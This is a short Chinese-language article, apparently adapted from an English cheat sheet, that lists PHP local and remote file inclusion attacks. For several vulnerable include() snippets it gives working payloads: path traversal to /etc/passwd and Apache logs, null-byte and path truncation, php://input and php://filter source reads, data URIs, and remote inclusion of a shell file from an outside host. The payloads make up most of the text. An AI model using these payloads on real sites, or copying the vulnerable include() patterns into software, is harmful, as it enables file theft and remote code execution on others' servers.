文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处.
基本的文件包含漏洞,代码如下:
<?php include(“includes/” . $_GET['file']); ?>
* 包含同路径下的文件:
file=.htaccess
* 路径遍历:
file=../../../../../../../../../var/lib/locate.db
(该文件非常有趣因为它允许你搜索文件系统)
* 包含注入PHP代码的文件:
file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.)
受限的本地文件包含如下代码:
<?php include(“includes/” . $_GET['file'] . “.htm”); ?>
* 空字符注入(Null Byte Injection):
file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(Null Byte Injection):
file=../../../../../../../../../var/www/accounts/%00
(仅限BSD, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(Path Truncation):
file=../../../../../../../../../etc/passwd........... …
(详细信息参见 here 和 here)
* 点号截断:
file=../../../../../../../../../etc/passwd……………. …
仅限Windows,更多细节参见here
基本的远程文件包含,代码如下:
<?php include($_GET['file']); ?>
* 包含远程代码(Including Remote Code):
file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
* 使用php输入流(Using PHP stream php://input):
file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
* 使用PHP过滤函数(Using PHP stream php://filter):
file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
* 用于跨站脚本攻击(Using XSS):
//开源代码Cuoxin.com
file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)
受限的远程文件包含漏洞,代码如下:
<?php include($_GET['file'] . “.htm”); ?>
* file=http://websec.wordpress.com/shell
* file=http://websec.wordpress.com/shell.txt?
* file=http://websec.wordpress.com/shell.txt%23
(需要 allow_url_fopen=On 和 allow_url_include=On)
静态远程文件包含漏洞,代码如下:
<?php include(“http://192.168.1.10/config.php”); ?>
* 中间人攻击(Man In The Middle)
(lame indeed, but often forgotten)
大型站长资讯类网站!